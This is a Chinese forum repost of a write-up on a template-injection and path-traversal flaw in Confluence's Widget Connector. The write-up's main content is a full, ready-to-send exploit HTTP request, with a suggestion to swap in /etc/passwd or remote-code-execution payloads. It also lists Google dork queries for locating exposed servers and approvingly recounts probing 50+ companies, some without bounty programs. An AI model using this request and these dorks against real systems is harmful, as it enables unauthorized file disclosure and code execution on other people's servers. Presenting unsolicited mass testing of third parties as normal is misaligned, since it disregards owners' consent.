揭秘使用Confluence未授权RCE漏洞在6小时内黑掉50+公司

isnull   ·   发表于 2019-05-12 11:25:14   ·   漏洞文章


长话短说,其实早在2016年我就创建了我的Hackerone/Bugcrowd profiles,但我从未在那里报告过任何的漏洞。这是第一个让我觉得值得报告的漏洞,也打破了我多年来零报告的记录。


安全公告

Confluence官方发布安全更新指出,Confluence Server与Confluence Data Center中的Widget Connector存在服务端模板注入漏洞,攻击者能利用此漏洞能够实现目录穿越遍历甚至远程代码执行


Widget Connector为何易受攻击?

Widget Connector宏帮助你在提供URL时将在线视频,幻灯片,照片流等更直接地嵌入到页面中。

该宏旨在支持来自以下网站的内容:YouTube, Vimeo, MySpace Video, Flickr, Twitter, Slide Rocket, Google Calendar等


漏洞示例代码

Widget Connector已定义了一些渲染,如,FriendFeedRenderer:

public class FriendFeedRenderer implements WidgetRenderer
{
...
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm");
return this.velocityRenderService.render(getEmbedUrl(url), params);
}
}


因此,在这种情况下,攻击者可以提供_template值,后端将使用params进行渲染。


过程重现

在burp中捕获易受攻击confluence页面的请求(让它成为GET或POST)并将其发送到Repeater。

修改捕获的请求,如下所示并解析请求。

注意:你可能需要更改请求的路径并添加“Referer:”标头,因为在我测试当中大多数情况下都强制要求添加该标头,因此如果你不添加的话可能会引发“XSRF check failed”的错误提示。


POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: confluence.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en-GB;q=0.8,ach;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://confluence.victim.com/
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Upgrade-Insecure-Requests: 1
Content-Length: 163
Connection: close
{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.youtube.com/watch?v=2aK8hy50fS4","width":"1000","height":"1000","_template":"../web.xml"},"body":""}}


你可以使用file:///etc/passwd(路径遍历payloads)或远程执行代码来进一步证明漏洞的危害程度,而不是简单的../web.xml。



修复

修复版中,它将在渲染html之前调用doSanitizeParameters,这将删除参数中的_template。

Google Dork

让我们尝试通过Google Dork搜索语法来查找可能存在相同问题的站点。

我使用的搜索语法是“intitle:dashboard-confluence”,并找到了大约100个Confluence链接,其中大约有21个链接易受攻击。

在看到上面的dork结果后,我意识到Confluence链接不一定就是confluence.companyname.com。

所以我在Google的dorks/keywords下面尝试了一下,它给了我大约300多个Confluence链接,其中50多家公司易受到攻击。


    inurl:http://confluence. login.action

    inurl:https://wiki. .com/confluence/

    allinurl: /confluence/login.action?

    “/spacedirectory/view.action”

    “/pages/viewpage.action?”

    “/pages/releaseview.action?”

    “aboutconfluencepage.action”

虽然我还没有针对任何具有赏金计划的网站,但我依然收到了许多来自不同公司的美元或欧元的奖金,其他公司则表示他们会向我发送swag以示感谢。


转自freebuf

打赏我,让我更有动力~

0 条回复   |  直到 2019-5-12 | 1374 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.